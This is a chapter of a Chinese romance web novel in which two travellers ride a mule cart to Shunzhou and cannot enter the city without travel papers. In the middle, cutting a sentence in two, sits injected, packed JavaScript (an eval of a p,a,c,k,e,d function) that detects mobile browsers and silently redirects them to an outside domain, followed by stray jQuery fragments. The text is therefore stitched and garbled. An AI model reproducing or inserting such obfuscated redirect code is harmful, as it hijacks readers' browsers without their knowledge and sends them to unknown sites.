9. 到顺州
作品:《镖局夫人她泼辣却实在貌美》 魏锦溪走的实在是太累了,不光是累,她还要在心里数一数自己这一路爬山跑下来走了多少步。抬头向前看了看,江乘风已经走到了她的前头,腰杆挺直不见歪斜。
魏锦溪当即就在心里纳了闷了,他怎么就不见累呢?
前面走着的江乘风长长的舒了一口气,在山里折腾了半夜,终于在早上走出了地方。再往下就是下山的坡路,看着十分陡峭。回过头来,准备提醒魏锦溪小心脚下。
清晨的山间雾气蒙蒙,魏锦溪的额头上不知道是雾还是汗,被草木叶间透过来的阳光一照,水汪汪的。再一抬头,一双凤眼灵动有神,疑惑的看着他,淡色的衫裙掩盖不住的丽,如同浸了水的荆棘花,又韧又野又艳。
江乘风一下子看愣了神。
魏锦溪见他盯着她看也愣了下,心想怎么不继续走了?是不知道方向吗?于是清了清嗓子提醒他道:“继续往下走,下了山就到了乔家庄。我们可以打听打听租个车去顺州。”
江乘风回神过来,低下头也干咳了一声,说道:“我知道了。”下了陡坡之后又转过身来把手伸了过去道:“这段路陡,我接着你。”
魏锦溪累极了,自然顾不上别的,伸手过去,被江乘风拉住了袖子,从陡坡上跳了下去。
又走了一会,往下瞧能看到下面一块块的田——可算是下了山。
山脚下,魏锦溪掐着腰站定,冲江乘风挑了挑眉头。
要说什么吗?江乘风心想。说什么呢?从山里走了大半夜,中途不仅没歇,连口水也没得喝。是太累了,要歇息?还是要埋怨他几句给她招祸亦或是骂他只顾着赶路不够体谅?
江乘风心想,是他给她添的麻烦,所以不管她说什么,他都好好听着,受着。结果魏锦溪一开口,心里猜测的那些全都翻了筐。
魏锦溪清了清嗓子,举着两只手比划给他看,得意洋洋的说:“我可是数了的,已经走了有十二个一千步了!”十二两个字加强了重音,两只手一个握着拳头,一个伸出两个手指头,随着她的话左右晃了晃。
江乘风看她眉眼间丝毫没有怨怼,而是一脸骄傲的样子,实在没忍住笑出了声。
“你笑什么?”魏锦溪不高兴了,掐着腰上前走了两步,“怎么,你不信?”
“信。”江乘风回答,眼里笑意不减,沉声道:“我信,你说多少我都信!”
乔家庄与魏家村隔了一整座小泉山。一山之隔,但两地方到底不大一样。庄子比魏家村要大,房屋看着也更好一些。与之相对的,去顺州的车也更贵!
魏锦溪瞪大了眼珠子沉声道:“二百文?”她们村赵大爷去顺州一趟,也才一百文!怎么翻了个山,离顺州更近了,价格反而涨了一倍?
乔大站在马棚里,拿着刷子像伺候祖宗一样,把里面的骡子从头梳到尾,“我说姑娘,顺州它远啊。这个点,去到也得傍晚。我总得找个能歇脚的地方啊。再说了,这来回赶路,就是我受得了,这骡子也受不了。”
“看你们是生面孔,怎么别的村的小两口去顺州走亲?”乔大又道:“这走亲啊就得花钱不是?要坐车二位就招呼一声,不然就算了。我这生意一般做的都是熟人。”
魏锦溪还想再讲个价,但被江乘风给拦了下来。
“赶路要紧。”江乘风道,冲后面的山仰了仰头:“虽然隔了座山...”但总归是不大安全,所以走的越早越好,钱都是小事。说罢拿出了钱袋子。
行吧,魏锦溪叹了口气,对乔大道:“二百文就二百文,但这午饭总得管一顿吧,还有水。”
乔大抬起头看了看他们,混数就见着一个包袱,想是没带干粮,便说:“行,中午管饭管水。”
没过一会,乔大就给骡子套上了嚼头,后面拖着一个板车。瞧着跟赵大爷的驴车没什么区别,上面连个能遮风挡雨的棚都没有。
这样的车竟然要二百文......得,就当被抢了!
谁知到了中午吃饭,魏锦溪看着手里的东西就更气了。管饭管水,结果就是给他们几个面饼还有一个水袋!
那饼不知道放了几天,不仅干巴,硬咬一口还掉碎渣,一口饼必须要嚼二三十下,嚼的让人牙疼。努力往下咽,都觉得拉嗓子。比她做的凉窝头难吃至少一百倍!
一个没注意,碎饼子进错了地方。魏锦溪忍不住重重咳嗽了起来,扶着车辕朝下,碎渣子哇啦哇全吐了。
江乘风赶忙把水壶递过去,魏锦溪接过来咕咚咕咚喝了几大口才好一点。江乘风看她嘴边还沾着碎屑,直接拿袖子给她擦了擦,关心的问道:“好点了吗?”
魏锦溪刚刚被噎的眼眶通红,泪汪汪,另一只手饼子攥的嘎巴嘎巴响。忍了半天才没把剩下的饼子砸到赶车的乔大脑袋上。把背后的包袱背到胸前,气哄哄的说:“等到了顺州,我非得吃顿好的!”
江乘风哪有什么不应的。
魏锦溪抬眼看了看他,问:“这么硬,你是怎么吃的下去的?”
江乘风坐好,嘴角勾了勾,习以为常的说:“走镖,大多时间都是风餐露宿。干粮是必不可少的。不管刚出炉多软的馒头,没几天也硬的出奇。要是赶上有山有林的地方,生了火还能烤一烤。但要是走到半路或是遇上下雨天,火也难烧起来,就只能啃硬干粮。习惯了。”
难怪!魏锦溪感叹道:“走镖可真不容易。”这么一想,她突然觉得自己拿人家五十多两银子有点不大厚道。都是谋生计的苦命人,何苦互相为难呢?
江乘风看她一下变得恹恹的、垂头丧气的样子,便问她:“怎么了?”是刚刚卡喉咙还难受?
魏锦溪倒也没瞒着,直接就说了,结尾低声道:“还是按照我们原先说的算吧。你也别嫌我掉钱眼里了,救你一命十五两银子。不知你月钱多少,但想来顶多三五个月的工钱。”
按他之前说的,走镖已经三年了,想必十五两还是拿的出的。她要买房,所以必不能做白工。至于买了房子后面没钱了,嗯,反正都打算安家在顺州了,等过个几个月这次事情平息,那云
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483475|170062||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
县老家的宅子还有那两亩地都卖了得了!
江乘风心里一片温热,小声给她透了个底,“我是没钱,但我家还是有一些钱的。镖局...镖局就是我家开的。”
魏锦溪的好心啪叽一声掉在了地上:“......你就当我方才什么也没说吧。”
哼,孤女的好心卖到了富家子弟头上,她刚刚真是闲的!
吃完了午饭,离顺州还远着呢。江乘风道:“路上也没什么风景,你要是觉得无聊就躺一会吧。等到了顺州城,我叫你。”
魏锦溪倒也没想睡,推脱了几下,但过了一会从板板正正的坐在车上,再到抱着包袱迷迷瞪瞪,最后干脆躺在车板上。三月下旬的天,正晌午的不冷也不热。没一会的功夫就睡着了。
江乘风看着她睡着,也支起一只胳膊放在扶手上,闭目养神起来。
很快到了傍晚,天还不曾黑。骡车终于把两人送到了顺州城。离城门口还有几百步的时候,乔大把他们放下收了尾钱头也不回的走了。
魏锦溪:哈?不是说要到顺州找个打尖歇脚的地方吗,怎么掉头就跑了?合着找由头加钱呢!
但这一路颠簸,实在是累得慌,更没什么力气指着骡车的背影骂上两句。
魏锦溪和江乘风下了车到了城门口。离城门守卫还有十几步的时候,突然停了下来。
呵呵,老是说要到顺州,到顺州,结果到了顺州进不去门。为啥,因为他们两个人都没有官府开具的证明身份的路引。
魏锦溪是从云县偷跑出来的。江乘风呢,倒是从顺州去云县的时候开具了路引,但是那路引没在他自己手里而是放在了田术那里。而且刚刚江乘风带着侥幸一般的查了查身上,发现标有自己身份的牌子也因为走的匆忙忘记带了!
魏锦溪和江乘风大眼瞪小眼的互相看了看,愁眉苦脸的都带上了一丝苦笑。
冤孽啊,就这么一遭,两个人竟都成了流民了。难倒扭头再回云县,呵呵,那不是自投罗网了吗?
江乘风心中也是焦急万分。都到了顺州城了,竟然进不去!
两个人没办法,只能暂且在城门口的茶摊上干坐着。但是人家茶摊也不是黑天白日都开的。眼看着太阳就要落山,人家茶摊也要收拾收拾走的。这要是在宵禁前都没想到进城的法子,那他俩可就要在城外过夜喽!
就在两个人绞尽脑汁想办法的时候,城门的守卫例行换班。从城内走出一队穿着铠甲的士兵来,原先守城门的士兵纷纷向为首的那个抱拳行礼。
魏锦溪看的真真的,那人好像有点眼熟啊,站起来猛的一跺脚,直奔城门口而去。见了那人当即大喊了一声:“铁山叔!”
李铁山一抬头,因为遮着光还没认出来,直到魏锦溪到眼前了才看清,诧异的喊了声,“魏家丫头?!”
简直是柳暗花明又一村。魏锦溪快哭了。老天爷待她不薄啊,知道她是个做好事的人,所以派了个她认识的人过来接应。
她和江乘风可算能进城了!